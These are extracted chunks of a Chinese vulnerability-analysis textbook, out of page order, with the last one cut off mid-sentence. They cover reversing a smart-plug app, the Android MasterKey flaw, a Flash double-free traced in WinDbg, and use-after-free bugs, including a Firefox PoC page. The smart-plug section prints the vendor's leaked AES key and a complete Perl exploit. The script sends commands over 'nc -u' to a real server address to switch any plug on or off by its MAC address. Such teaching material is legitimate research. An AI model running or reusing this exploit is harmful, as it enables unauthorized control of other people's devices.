    {"text": "图10-37 GeekPwn 2014参赛现场 10.4.2 静态逆向分析 用 JEB 分 析 某 款 智 能 插 座 的 APK 包 ， 找 到 启 动 时 的 主 Activity （ 即 启 动 界 面 ） ， 查 看 android.intent.action.MAIN 与 android.intent.Category.LAUNCHER 所 对 应 的 Activity （ 即 首 个 启 动 的 Activity），此处找到的是hangzhou.kankun.LoadingActivity，如图10-38所示。 第10章 Android平台漏洞分析 493 图10-38 智能插座应用的启动Acitivity 双击左侧栏的LoadingActivity可直接查看其对应的Smali代码（如图10-39所示），此时再按下Tab 键 即 可 得 到 Java 反 编 译 代 码 ， 如 图 10-40 所 示 。 从 代 码 中 可 以 发 现 ， 它 启 动 另 一 个 activity:SmartwifiActivity，接着双击它进入其对应的Java反编译代码，在其run函数里可以看到它调用 jnic.encode对传送命令进行加密处理，如图10-41所示。 图10-39 LoadingActivity对应的smali代码 494 漏洞战争：软件漏洞分析精要 图10-40 LoadingActivity的Java反编译代码 图10-41 run函数对传送命令进行加密处理 双击“jnic”可以找到它的定义代码，发现它是个WifiJniC对象： WifiJniC jnic; 第10章 Android平台漏洞分析 495 双击“WifiJniC”可直接查看它的反编译代码，发现它主要用于加载libNDK_03.so链接库（如 图10-42所示），其中的encode与decode就是负责实现命令的加解密。 图10-42 WifiJniC类定义 用 IDA 加 载 APK 包 中 的 libNDK_03.so （如图10-43所示），找到encode对应的函数 java_hangzhou_ kankun_WifiJniC_encode，这 些从函数名看都很好定位，如果有ARM版的 F5插件则可以更方便地得到函数对应的C代 码，如图10-44所示。 图10-43 APK包中的libNDK_03.so链接库 图10-44 Java_hangzhou_kankun_WifiJniC_encode函数 496 漏洞战争：软件漏洞分析精要 其中的EncryptData就是真正用于加密的函数，它主要使用256位AES加密发送包数据，KEY值为 字符串“fdsl;mewrjope456fds4fbvfnjwaugfo”，循环对每16字节进行加密，不足16位的用\\x00填充， 如图10-45所示。"},
    {"text": "图10-45 明文密钥泄露 正是由于AES密钥的泄露，我们才能对发送的操作指令任意进行加解密，同时服务端也没有校 验指令发送方的合法性，导致可以任意地远程控制智能插座的开关。"},
    {"text": "笔者用Perl实现解密过程，具体代码如下： my $key = \"fdsl;mewrjope456fds4fbvfnjwaugfo\"; my $cipher = new Crypt::OpenSSL::AES($key); # 操作指令解密函数 sub decrypt{ my $decrypt_str = \"\"; my $data = $_[0]; $data = pack('H*',$data); # 将 hex 转换成字符串 第10章 Android平台漏洞分析 497 my $len = length($data); #print\"解密长度：\".$len.\"\\n\"; my $v7 = $len / 16; my $v8 = 0; my $v9 = 0; do{ my $str_16 = substr($data, $v8, 16); $decrypt_str .= $cipher->decrypt($str_16); $v8 += 16; ++$v9; }while ($v7 > $v9); return $decrypt_str; } 比如开启插座的操作命令（关闭插座的命令类似），要完成以下步骤： （1）发送开启指令，其内容格式如下： “wan_phone%”+ mac 地址 + “%nopassword%”+命令（open/close 等）+“%request” （2）服务端返回5位随机数，接着拿此随机数构造确认指令，发送给服务端，内容格式如下： “wan_phone%”+ mac 地址 + “%nopassword%”+“confirm”+随机数+“%request” 10.4.3 利用漏洞控制网络上的任意插座 有了前面的逆向分析，获取到AES密钥之后，我们就可以任意发送操作指令，比如开启插座、 关闭插座、定时、开启Wi-Fi中继等其他该插座提供的所有功能。 完整的漏洞利用代码如下： #!/usr/bin/ perl # 作者：riusksk # 日期：2014 年 8 月 13 日 # 描述：实现某智能插座的远程控制 use utf8; use Cwd; use Getopt::Long; use IO::Socket::INET; use Crypt::OpenSSL::AES; 498 漏洞战争：软件漏洞分析精要 binmode(STDOUT,':utf8'); my ($mac, $fun, $help); GetOptions( 'm=s' => \\$mac, 'f=s' => \\$fun, 'h!' => \\$help, ); if(!defined $mac && !defined $fun || defined $help){ print \"\\n\"; print \" Usage：perl kPlugExp.pl -m [MAC 地址] -f [open/close]\\n\\n\"; print \"\\t -m\\t 智能插座的 Mac 地址\\n\"; print \"\\t -f\\t 操作功能，比如 open（打开插座）、close（关闭插座）\\n\"; print \"\\t -h\\t 帮助信息\\n\\n\"; exit; } if($fun eq \"open\"){ print \"[*] 开启插座\\n\"; } if($fun eq \"close\"){ print \"[*] 关闭插座\\n\"; } my $key = \"fdsl;mewrjope456fds4fbvfnjwaugfo\"; my $cipher = new Crypt::OpenSSL::AES($key); # 操作指令解密函数 sub decrypt{ my $decrypt_str = \"\"; my $data = $_[0]; $data = pack('H*',$data); # 将 hex 转换成字符串 my $len = length($data); #print\"解密长度：\".$len.\"\\n\"; my $v7 = $len / 16; my $v8 = 0; 第10章 Android平台漏洞分析 499 my $v9 = 0; do{ my $str_16 = substr($data, $v8, 16); $decrypt_str .= $cipher->decrypt($str_16); $v8 += 16; ++$v9; }while ($v7 > $v9); return $decrypt_str; } # 操作指令加密函数 sub encrypt{ my $v16; my $encrypt_str = \"\"; my $data = $_[0]; my $len = length($data); #print \"len=\".$len.\"\\n\"; # 长度非 16 的倍数时 if($len & 0xF){ my $v8 = ($len >> 0x1F) >> 0x1C; my $v10 = $len + $v8; my $v11 = $len + 0x10 - (($v10 & 0xF) - $v8); if($v11 > 128){ print\"字符串长度过大\\n\"; exit; } $v16 = ($v10 >> 4) + 1; #print \"v16 = $v16\\n\"; } # 长度为 16 的倍数时 else{ if($len > 128){ print(\"字符串长度过大\\n\"); exit; } $v16 = $len / 16; 500 漏洞战争：软件漏洞分析精要 } my $v12 = 0; my $v9 = 0; if($v16 > 0){ do{ my $str_16 = substr($data, $v12, 16); #print \"明文：$str_16\\n\"; my $num = 16 - length($str_16); if($num > 0){ $str_16 .= \"\\x00\" x $num; # 不足 16 位的用 0x00 填充 } $encrypt_str .= $cipher->encrypt($str_16); #print \"加密：$encrypt_str\\n\"; $v12 += 16; ++$v9; }while ($v9 != $v16); } return $encrypt_str; } # 发送开启命令 my $plaintext1 = \"wan_phone%\".lc($mac).\"%nopassword%\".$fun.\"%request\"; print\"[*] 发送指令：$plaintext1\\n\"; my $encrypted = &encrypt($plaintext1); open(FD, \">test1\") or die \"文件打开失败！"},
    {"text": "\\n\"; print FD $encrypted; if(0 == fork()){ `nc -u 115.29.14.58 45398 < test1 > rep1`; exit; } sleep(2); my $cwd = getcwd(); open(FILE1, \"$cwd/rep1\") or die \"文件打开失败！ \\n\"; my $cmd1; my $filestr1; foreach $filestr1 (<FILE1>){ 第10章 Android平台漏洞分析 501 $cmd1 .= unpack(\"H*\",$filestr1); }; #print $cmd1.\"\\n\"; my $decrypt_data = &decrypt($cmd1); print\"[*] 响应数据：\".$decrypt_data.\"\\n\"; # 从响应数据中获取分配的 ID 值 my @id1 = split(\"#\",$decrypt_data); my @id2 = split(\"%\", $id1[1]); my $id = $id2[0]; #print\"id=$id\\n\"; my $plaintext2 = \"wan_phone%\".lc($mac).\"%nopassword%confirm#\".$id.\"%request\"; print\"[*] 发送指令：$plaintext2\\n\"; my $encrypted = &encrypt($plaintext2); open(FD, \">test2\") or die \"文件打开失败！ \\n\"; print FD $encrypted; # 发送确认指令 if(0 == fork()){ `nc -u 115.29.14.58 45398 < test2 > rep2`; exit; } sleep(1); open(FILE2, \"$cwd/rep2\") or die \"文件打开失败！ \\n\"; my $filestr2; my $cmd2; foreach $filestr2 (<FILE2>){ $cmd2 .= unpack(\"H*\",$filestr2); } my $decrypt_data2 = &decrypt($cmd2); print\"[*] 响应数据：\".$decrypt_data2.\"\\n\"; if ( (index($decrypt_data2,\"open\") > 0) || (index($decrypt_data2,\"close\") > 0)){ print \"[*] 操作成功！ \\n\"; } else{ print \"[*] 操作失败！"},
    {"text": "图10-46 某智能插座漏洞利用工具kPlugExp 10.4.4 总结 本节以智能设备的Android应用漏洞为例，讲解了Android应用中的Java层与C/C++层的逆向分析 技巧，同时也从Android应用延伸到智能设备漏洞上，这也进一步反映出手机平台上的漏洞将间接影 响到未来的物联网，使得原有的虚拟世界能够影响到真实物理世界，未来它的漏洞危害也可能被扩 大化。"},
    {"text": "10.5 CVE-2013-4787 Android系统签名漏洞 10.5.1 漏洞描述 2013年7月初，国外著名安全公司Bluebox对外曝光Android存在严重的安全漏洞，99%的Android 设备均受影响。"},
    {"text": "Bluebox公司的漏洞发现者已在BlackHat 2013 USA大会上分享了关于该漏洞的细节，主要问题在于解析ZIP压缩包中同名文件时存在问题，而 非Android签名机制本身的问题，但利用漏洞可以绕过签名验证。"},
    {"text": "Android系统共被曝光了3个签名漏 洞，本节讲解的是第1个签名漏洞，也叫MasterKey漏洞。 第10章 Android平台漏洞分析 503 10.5.2 Android签名机制 在分析漏洞前，先来看下Android系统自身的签名验证机制。"},
    {"text": "正常情况下，签名后的APK包会在 /META-INF 目 录 下 生 成 以 下 3 个 文 件 ： CERT.RSA （ 也 可 能 是 DSA 或 EC 后 缀 名 ） 、 CERT.SF 和 MANIFEST.MF，如图10-47所示。 图10-47 APK包中的签名文件 MANIFEST.MF ：保存除META-INF文件以外其他各文件的SHA-1+base64编码后的值，如图 10-48所示。 图10-48 MANIFEST.MF文件 CERT.SF ：在SHA1-Digest-Manifest中保存MANIFEST.MF文件的SHA-1+base64编码后的值，在 后面的各项SHA1-Digest中保存MANIFEST.MF各子项内容SHA-1+Base64编码后的值，如图10-49 所示。"},
    {"text": "504 漏洞战争：软件漏洞分析精要 图10-49 CERT.SF文件 CERT.RSA/DSA/EC ：保存用私钥计算出CERT.SF文件的数字签名、证书发布机构、有效期、 公钥、所有者、签名算法等信息，如图10-50所示。"},
    {"text": "图10-50 CERT.RSA内容 第10章 Android平台漏洞分析 505 下面从Android源码层分析其签名验证的原理，对应的源码位于：http://osxr.org/android/source/ libcore/luni/src/main/java/java/util/jar/JarVerifier.java。"},
    {"text": "（1）读取DSA/RSA/EC后缀的签名证书文件，然后调用verifyCertificate进行验证，此处并无限 制文件名，因此将CERT.RSA改成CERT123.RSA依然有效，但SF文件得跟RSA文件等签名证书文件 同名，如图10-51所示。 图10-51 readCertificates函数 （2）读取SF（与后面证书同名）与RSA/DSA/EC文件的内容，再调用verifySignature进行校验， 如图10-52所示。 图10-52 verifySignature函数 （3）在调用verifySignature函数（点击该函数可直接帮助索引，它位于http://osxr.org/android/ source/libcore/luni/src/main/java/org/apache/harmony/security/utils/JarUtils.java）进行校验时会读取各项 证书信息，包括证书序列号、拥有者、加密算法等，然后判断CERT.RSA证书对CERT.SF的文件签名 是否正确，防止CERT.SF被篡改，若成功则返回证书链，否则抛出异常，如图10-53和图10-54所示。"},
    {"text": "index eax=035c091c ebx=00000000 ecx=03b26020 edx=00000320 esi=03b26020 edi=047cf9d4 eip=02a42f4b esp=047cf9d4 ebp=047cf9fc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\\WINDOWS\\ 第6章 双重释放漏洞分析 269 system32\\Macromed\\Flash\\Flash32_12_0_0_44.ocx - Flash32_12_0_0_44+0x102f4b: 02a42f4b ff5008 call dword ptr [eax+8] ds:0023:035c0924=029b5585 0:015> dd esi 03b26020 035c091c 00000000 04596000 03ae0ee0 03b26030 0000001d 0000001e 03ad5ba8 00000006 03b26040 00000007 00000000 00000000 00000000 03b26050 00000000 00000000 00000000 03adb818 03b26060 00000071 00000072 03b192f0 00000089 03b26070 0000008a 00000000 00000000 00000000 03b26080 03ad97a0 0000005f 00000060 03adb890 03b26090 00000077 00000078 00000000 00000000 0:015> da poi(esi+8) 04596000 \"@.S.\" 0:015> da poi(esi+c) 03ae0ee0 \"/172.16.248.147/record/cc.swf\" 0:015> da poi(esi+18) 03ad5ba8 \"record\" 0:015> da poi(esi+3c) 03adb818 \"C:/Documents and Settings/Admini\" 03adb838 \"strator/Application Data/Macrome\" 03adb858 \"dia/Flash Player/172.16.248.147/\" 03adb878 \"cc.swf/record.sol\" 0:015> da 03b192f0 03b192f0 \"C:/Documents and Settings/Admini\" 03b19310 \"strator/Application Data/Macrome\" 03b19330 \"dia/Flash Player/#SharedObjects/\" 03b19350 \"7WSSNMZD/172.16.248.147/cc.swf/r\" 03b19370 \"ecord.sol\" 从上面的对象的成员变量字符串值可以发现样本中创建的共享对象record，以及包含flash cookie 信息的sol文件，从这些信息可以大体推测出当前的这个对象可能就是record共享对象，刚好对应样本 代码： var sobj:SharedObject = SharedObject.getLocal(\"record\"); 继续执行下去，call dword ptr [eax+8] 还会被断下2次，到了第2次时，对象的成员变量都已经被 释放内存，说明此时的record共享对象已经被析构释放内存了。"},
    {"text": "0:015> g Breakpoint 0 hit eax=035c091c ebx=00000000 ecx=03b26020 edx=00000320 esi=03b26020 edi=047cf790 270 漏洞战争：软件漏洞分析精要 eip=02a42f4b esp=047cf790 ebp=047cf7b8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 Flash32_12_0_0_44+0x102f4b: 02a42f4b ff5008 call dword ptr [eax+8] ds:0023:035c0924=029b5585 0:015> da poi(esi+18) 03ad5ba8 \"record\" 0:015> g Breakpoint 0 hit eax=03b26360 ebx=00000000 ecx=03b26020 edx=00000320 esi=03b26020 edi=047cf9b8 eip=02a42f4b esp=047cf9b8 ebp=047cf9e0 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 Flash32_12_0_0_44+0x102f4b: 02a42f4b ff5008 call dword ptr [eax+8] ds:0023:03b26368=77bf18d3 0:015> da poi(esi+18) 00000000 \"????????????????????????????????\" 00000020 \"????????????????????????????????\" 00000040 \"????????????????????????????????\" 00000060 \"????????????????????????????????\" 00000080 \"????????????????????????????????\" 000000a0 \"????????????????????????????????\" 000000c0 \"????????????????????????????????\" 000000e0 \"????????????????????????????????\" 00000100 \"????????????????????????????????\" 00000120 \"????????????????????????????????\" 00000140 \"????????????????????????????????\" 00000160 \"????????????????????????????????\" 0:015> k ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong. 047cf9e0 02a4359e Flash32_12_0_0_44+0x102f4b 047cfa0c 02a44dfe Flash32_12_0_0_44+0x10359e 047cfa94 02c2c519 Flash32_12_0_0_44+0x104dfe 047cfa9c 02c2c5e9 Flash32_12_0_0_44!DllUnregisterServer+0xf6098 047cfaa4 02a3fe7d Flash32_12_0_0_44!DllUnregisterServer+0xf6168 047cfab8 02aa1736 Flash32_12_0_0_44+0xffe7d 047cfad0 0297bd2a Flash32_12_0_0_44+0x161736 047cfb08 02b54340 Flash32_12_0_0_44+0x3bd2a 047cfb1c 02b556f4 Flash32_12_0_0_44!DllUnregisterServer+0x1debf 047cfb24 02b5572c Flash32_12_0_0_44!DllUnregisterServer+0x1f273 047cfb2c 0297cee3 Flash32_12_0_0_44!DllUnregisterServer+0x1f2ab 047cff90 02f88506 Flash32_12_0_0_44+0x3cee3 第6章 双重释放漏洞分析 271 047cffa0 02fa0d6c Flash32_12_0_0_44!IAEModule_IAEKernel_UnloadModule+0xe7946 047cffb4 7c80b713 Flash32_12_0_0_44!IAEModule_IAEKernel_UnloadModule+0x1001ac 047cffe0 7c80b71f kernel32!BaseThreadStart+0x37 047cffe4 00000000 kernel32!BaseThreadStart+0x43 那到底是什么原因导致该共享对象被释放呢？"},
    {"text": "先看下栈回溯中第1个DllUnregisterServer中的函 数（粗体部分），DllUnregisterServer函数主要用于卸载ocx控件，里面常包含各类对象的析构函数， 或者释放对象的操作。"},
    {"text": "0:015> ub Flash32_12_0_0_44!DllUnregisterServer+0xf6098 Flash32_12_0_0_44!DllUnregisterServer+0xf607e: 02c2c4ff c7061c095c03 mov dword ptr [esi],offset Flash32_12_0_0_44!AdobeCPGetAPI +0x47a97c (035c091c) 02c2c505 8bc6 mov eax,esi 02c2c507 5e pop esi 02c2c508 c20800 ret 8 02c2c50b 56 push esi 02c2c50c 8bf1 mov esi,ecx // ecx 为 this 对象 02c2c50e c7061c095c03 mov dword ptr [esi],offset Flash32_12_0_0_44!AdobeCPGetAPI +0x47a97c (035c091c) 02c2c514 e88188e1ff call Flash32_12_0_0_44+0x104d9a (02a44d9a) 对上述call地址下断点： bu Flash32_12_0_0_44!DllUnregisterServer+0xf6093 断下后，查看此时指向this指针的ecx值： 0:021> g Breakpoint 0 hit eax=03b7091c ebx=0439f278 ecx=04376020 edx=00000000 esi=04376020 edi=04326440 eip=031dc514 esp=0501fa9c ebp=7c8097d0 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 Flash32_12_0_0_44!DllUnregisterServer+0xf6093: 031dc514 e88188e1ff call Flash32_12_0_0_44+0x104d9a (02ff4d9a) 0:021> dd ecx 04376020 03b7091c 00000000 04d74000 04330ea0 04376030 0000001d 0000001e 04325ba0 00000006 04376040 00000007 00000000 00000000 00000000 04376050 00000000 00000000 00000000 0432b818 04376060 00000071 00000072 04369260 00000089 04376070 0000008a 00000000 00000000 00000000 04376080 043296e0 0000005f 00000060 0432b890 04376090 00000077 00000078 00000000 00000000 272 漏洞战争：软件漏洞分析精要 0:021> da poi(ecx+18) 04325ba0 \"record\" 从这里到this指针其实就是record共享对象，而在Flash32_12_0_0_44!DllUnregisterServer+0xf6093 中其实就是对这个对象进行析构，相当于共享对象的析构函数。 如果继续执行下去，那么该地址还 会被断下，然后进程就崩溃了： 0:021> g Breakpoint 0 hit eax=031dc5e1 ebx=00000000 ecx=04376020 edx=03b7091c esi=04376020 edi=04376020 eip=031dc514 esp=0501f874 ebp=05189030 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 Flash32_12_0_0_44!DllUnregisterServer+0xf6093: 031dc514 e88188e1ff call Flash32_12_0_0_44+0x104d9a (02ff4d9a) 0:021> k ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong. 06f6f874 059cc5e9 Flash32_12_0_0_44!DllUnregisterServer+0xf6093 06f6f87c 0582e1d9 Flash32_12_0_0_44!DllUnregisterServer+0xf6168 06f6f8ac 05cb5bbf Flash32_12_0_0_44+0x14e1d9 06f6f8e0 05d2ac44 Flash32_12_0_0_44!IAEModule_IAEKernel_UnloadModule+0x74fff 06f6f938 05716d89 Flash32_12_0_0_44!IAEModule_IAEKernel_UnloadModule+0xea084 06f6f93c 057c5693 Flash32_12_0_0_44+0x36d89 06f6f948 057d6511 Flash32_12_0_0_44+0xe5693 06f6f97c 05797f5f Flash32_12_0_0_44+0xf6511 06f6f994 05798525 Flash32_12_0_0_44+0xb7f5f 06f6f9b8 057e2f1f Flash32_12_0_0_44+0xb8525 06f6f9e0 057e359e Flash32_12_0_0_44+0x102f1f 06f6fa0c 057e4dfe Flash32_12_0_0_44+0x10359e 06f6fa94 059cc519 Flash32_12_0_0_44+0x104dfe 06f6fa9c 059cc5e9 Flash32_12_0_0_44!DllUnregisterServer+0xf6098 06f6faa4 057dfe7d Flash32_12_0_0_44!DllUnregisterServer+0xf6168 06f6fab8 05841736 Flash32_12_0_0_44+0xffe7d 06f6fad0 0571bd2a Flash32_12_0_0_44+0x161736 06f6fb08 058f4340 Flash32_12_0_0_44+0x3bd2a 06f6fb1c 058f56f4 Flash32_12_0_0_44!DllUnregisterServer+0x1debf 06f6fb24 058f572c Flash32_12_0_0_44!DllUnregisterServer+0x1f273 0:021> g (944.654): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=001300d4 ebx=04785638 ecx=0478563c edx=00000000 esi=0478563c edi=0478563c 第6章 双重释放漏洞分析 273 eip=00000fac esp=06d6ff9c ebp=06d6ffec iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 <Unloaded_ud.drv>+0xfab: 00000fac ?? ??? 正是因为对record共享对象进行二次析构，才导致双重释放漏洞的产生。"},
    {"text": "对于双重释放漏洞的分析技巧， 本章以两个漏洞为例，结合实际样本进行讲解，希望使得里面的技巧更有实战价值。 本章介绍了通过栈回溯和堆状态识别双重释放漏洞的方法，以及在栈回溯未能达到“第一现场” 效果的情况下，通过样本代码中的ROP指令地址反向追踪漏洞成因的方法，可能读者还会有其他的 分析技巧，本章介绍的方法主要是起抛砖引玉的作用，希望能够对读者有所帮助。"},
    {"text": "274 漏洞战争：软件漏洞分析精要 第 7 章 释放重引用漏洞分析 7.1 释放重引用（Use After Free，UAF）漏洞简史 释放重引用漏洞，顾名思义就是使用到已被释放的内存，最终导致内存崩溃或任意代码执行的 漏洞。"},
    {"text": "从英文字面上直译，通常被称为“释放后使用”漏洞，读起来相当别扭，而且如果在漏洞前不 加引号，那完全是另一层意思，所以笔者将UAF翻译为“释放重引用”。"},
    {"text": "2005 年 12 月 ， 第 一 个 UAF 漏 洞 CVE-2005-4360 被 发 现 （ 链 接 ： http://cve.mitre.org/cgi-bin/ cvename.cgi?name=CVE-2005-4360），这是目前网络中可查询到的最早的UAF漏洞，虽然当时并没 有直接命名为“Use After Free”漏洞，仅以远程拒绝服务归类，但它确实属于UAF漏洞。"},
    {"text": "2007 年 的 BlackHat USA 黑 客 大 会 上 ， 来 自 Watchfire 安 全 团 队 的 安 全 研 究 员 分 享 了 主 题 为 Dangling Pointer ： Smashing The Pointer For Fun And Profit （PDF下载：https://www.blackhat.com/ presentations/bh-usa-07/Afek/Whitepaper/bh-usa-07-afek-WP.pdf）的议题，讲述了“悬挂指针” （Dangling Pointer）的原理及危害，结合漏洞实例，完整地讲述了UAF的漏洞原理及利用技巧。"},
    {"text": "2008 年 12 月 ， IE 浏 览 器 上 的 UAF 漏 洞 CVE-2008-4844 利 用 代 码 被 公 开 （ 详 见 ： http://www. securityfocus.com/bid/32721/exploit），结合Heap Spray技术已经能够实现稳定利用，之后，关于浏览 器的UAF漏洞被逐渐发现。 2014年6月，微软针对IE浏览器发布补丁，共修复高达54个漏洞，其中大部分正是UAF漏洞，这 也使得IE浏览器成为2014年漏洞最多的应用。"},
    {"text": "#include <stdio.h> #define size 32 漏洞战争：软件漏洞分析精要 第7章 释放重引用漏洞分析 275 int main(int argc, char **argv) { char *buf1; char *buf2; buf1 = (char *) malloc(size); printf(\"buf1：0x%p\\n\", buf1); free(buf1); // 释放 buf1,使得 buf1 成为悬挂指针 // 分配 buf2“占坑”buf1 的内存位置 buf2 = (char *) malloc(size); printf(\"buf2：0x%p\\n\\n\", buf2); // 对 buf2 进行内存清零 memset(buf2, 0, size); printf(\"buf2：%d\\n\", *buf2); // 重引用已释放的 buf1 指针，但却导致 buf2 值被篡改 printf(\"==== Use After Free ===\\n\"); strncpy(buf1, \"hack\", 5); printf(\"buf2：%s\\n\\n\", buf2); free(buf2); } 测试环境如表7-1所示。"},
    {"text": "图7-1 运行结果 276 漏洞战争：软件漏洞分析精要 程序通过分配与buf1大小相等的堆块buf2实现“占坑”，使得buf2分配到已释放的buf1内存位置， 但由于buf1指针依然有效，并且指向的内存数据是不可预测的，可能被堆管理器回收，也可能被其 他数据占用填充，正因为它的不可预测性，因此将buf1指针称为“悬挂指针”，借助悬挂指针buf1 将其赋值为“hack”字符串，进而导致buf2也被篡改为“hack”字符串（虽然程序未对buf2赋值，但 是buf1与buf2指向同一块内存）。 如果原有的漏洞程序引用到悬念指针指向的数据用于执行指令或作 为索引地址去执行，就可能导致任意代码执行，前提是用可控数据去“占坑”释放对象。"},
    {"text": "假设存在以下C++类CTest及实例 化的类对象Test： class CTest{ int one = 1; // 类成员变量 public: virtual void vFun1(); // 虚函数 virtual void vFun2(); int getOne(){ // 类成员函数 return one; } } void main(){ CTest Test; // 实例化类对象 } 此时，Test对象在内存中的布局如图7-2所示，对象Test开头的内存数据是个虚表指针，用于索 引虚函数，后面接成员变量，而成员函数getOne属于执行代码，不属于类对象数据。 图7-2 Test对象内存布局 再假设此时程序存在释放重引用Test对象的漏洞，有个悬挂指针指向已释放的Test对象，要实现 对此漏洞的利用，可以通过“占坑”的方式覆盖Test对象的虚表指针，使其指向恶意构造的Shellcode， 当程序再次引用到Test对象时（比如调用到虚函数vFun1），就可能导致执行任意代码，如图7-3所示。"},
    {"text": "第7章 释放重引用漏洞分析 277 通过索引虚函数表调用虚函数的常见汇编代码形式如下： mov ecx,[eax] ; eax 指向 C++对象，即悬挂指针，而对象头 4 字节为虚表指针，所以 ecx 为虚表指针 call [ecx+4] ; 通过虚函数表偏移找到指定的虚函数进行调用 图7-3 UAF漏洞利用原理 7.3 CVE-2011-0065 Firefox mChannel UAF漏洞 7.3.1 漏洞描述 在Firefox浏览器3.5.19之前的版本，以及3.6.17之前的3.6.x版本中存在UAF漏洞，mChannel对象 在被释放后，成为悬挂指针，然后又在后面被重新引用，导致利用漏洞可以执行任意代码。"},
    {"text": "表7-2 测试环境 推荐使用的环境 备注 操作系统 Windows 7 简体中文家庭普通版 漏洞软件 Firefox 版本号：3.6.16 调试器 WinDbg 版本号：6.1.0001.404 278 漏洞战争：软件漏洞分析精要 首先，在WinDbg中添加Firefox的符号表地址： SRV*c:\\localsymbols*http://symbols.mozilla.org/firefox 然后，用WinDbg调试器附加Friefox浏览器进程，并打开以下poc.html测试页面： <html> <body> <object id=\"d\"><object> <script type=\"text/javascript\"> var e; e=document.getElementById(\"d\"); e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object('0c'),0); e.data = \"\"; </script> </body> </html> 打开后触发异常，此时栈顶的返回地址如图7-4所示（框内标识的0x611a4e75）。"},
    {"text": "0:000> ub 611a4e75 xul!nsObjectLoadingContent::LoadObject+0xf2 [e:\\builds\\moz2_slave\\rel-192-w32-bld\\build\\content\\base\\src\\nsobjectloadingcontent.cpp @ 1196]: 611a4e5f 8bce mov ecx,esi 611a4e61 e81a6991ff call xul!nsCOMPtr_base::assign_with_AddRef (60abb780) 611a4e66 8b4350 mov eax,dword ptr [ebx+50h] 第7章 释放重引用漏洞分析 279 611a4e69 8b08 mov ecx,dword ptr [eax] // eax 为对象 611a4e6b be02004b80 mov esi,804B0002h 611a4e70 56 push esi 611a4e71 50 push eax 611a4e72 ff5118 call dword ptr [ecx+18h] // ecx 为虚表地址 根据C++成员函数this指针调用约定，可以知道上面的ecx为虚表基址，eax为对象地址，而call dword ptr ds:[ecx+18] 调用的正是某个对象的方法，即虚函数。 由于每次调试时分配的堆地址都不一 样，因此为了断点设置的通用性，这里采用函数偏移的断点设置方法，但查看xul!nsObjectLoading- Content::LoadObject时发现有两个同名函数： 0:000> u xul!nsObjectLoadingContent::LoadObject+0xf2 Matched: 611a558c xul!nsObjectLoadingContent::LoadObject (class nsAString_internal *, int, class nsCString *, int) Matched: 611a4d6d xul!nsObjectLoadingContent::LoadObject (class nsIURI *, int, class nsCString *, int) Ambiguous symbol error at 'xul!nsObjectLoadingContent::LoadObject+0xf2' 从图7-4所示的触发漏洞时栈顶的返回地址0x611a4e75可以知道这里调用到的是： nsObjectLoadingContent::LoadObject (class nsIURI *, int, class nsCString *, int) 因此，对0x611a4d6d下断点： 0:000> bp 611a4d6d 另外，从PoC代码中可以看到关键函数onChannelRedirect，因此我们可以直接在WinDbg搜索该 函数，但发现有很多类里面包含onChannelRedirect方法，如图7-5所示。"},
    {"text": "图7-5 利用x命令搜索函数 如图7-4所示，触发漏洞的类是xul!nxObjectLoadingContent，通过搜索可以发现该类里面也包含 有onChannelRedirect方法，连同其参数也一并列出来，前两个参数为类对象： 0:000> x xul!nsObjectLoadingContent::onChannelRedirect 280 漏洞战争：软件漏洞分析精要 60e123b0 xul!nsObjectLoadingContent::OnChannelRedirect (class nsIChannel *, class nsIChannel *, unsigned int) 因此，对xul!nsObjectLoadingContent::onChannelRedirect下断点，重新加载poc.html执行后，发现 确实可以断下： 0:021> bl 1 e 610023b0 0001 (0001) 0:**** xul!nsObjectLoadingContent::OnChannelRedirect 2 e 611a4d6d 0001 (0001) 0:**** xul!nsObjectLoadingContent::LoadObject 0:021> g Breakpoint 0 hit eax=00000003 ebx=003fe898 ecx=05d76658 edx=615811cc esi=00000000 edi=00000002 eip=610023b0 esp=003fe5b0 ebp=003fe5d0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 xul!nsObjectLoadingContent::OnChannelRedirect: 610023b0 8b4c2408 mov ecx,dword ptr [esp+8] ss:0023:003fe5b8=00000000 查看此时它的3个参数，其中第2个参数是对象0x06457bc0（后面会被引用到），其余参数均为0： 0:000> dd esp+8 l3 003fe5b8 00000000 06457bc0 00000000 分析该函数的反汇编代码： 0:000> uf xul!nsObjectLoadingContent::OnChannelRedirect xul!nsObjectLoadingContent::OnChannelRedirect [e:\\builds\\moz2_slave\\rel-192-w32-bld\\build\\ content\\base\\src\\nsobjectloadingcontent.cpp @ 1017 ]: 1017 610023b0 8b4c2408 mov ecx,dword ptr [esp+8] // 参数 1=0 1019 610023b4 56 push esi 1019 610023b5 8b742408 mov esi,dword ptr [esp+8] 1019 610023b9 3b4e1c cmp ecx,dword ptr [esi+1Ch] // 判断参数 1 是否与[esi+1c] 对象相同，通过后面的源码分析知道[esi+1c]是指 mChannel 对象 1019 610023bc 7407 je xul!nsObjectLoadingContent::OnChannelRedirect+0x15 (610023c5) // 发生跳转 xul!nsObjectLoadingContent::OnChannelRedirect+0xe [e:\\builds\\moz2_slave\\rel-192-w32-bld\\build\\content\\base\\src\\nsobjectloadingcontent.cpp @ 1020]: 1020 610023be b802004b80 mov eax,804B0002h 1020 610023c3 eb1a jmp xul!nsObjectLoadingContent::OnChannelRedirect+0x2f (610023df) xul!nsObjectLoadingContent::OnChannelRedirect+0x15 第7章 释放重引用漏洞分析 281 [e:\\builds\\moz2_slave\\rel-192-w32-bld\\build\\content\\base\\src\\nsobjectloadingcontent.cpp @ 1023]: 1023 610023c5 8b4624 mov eax,dword ptr 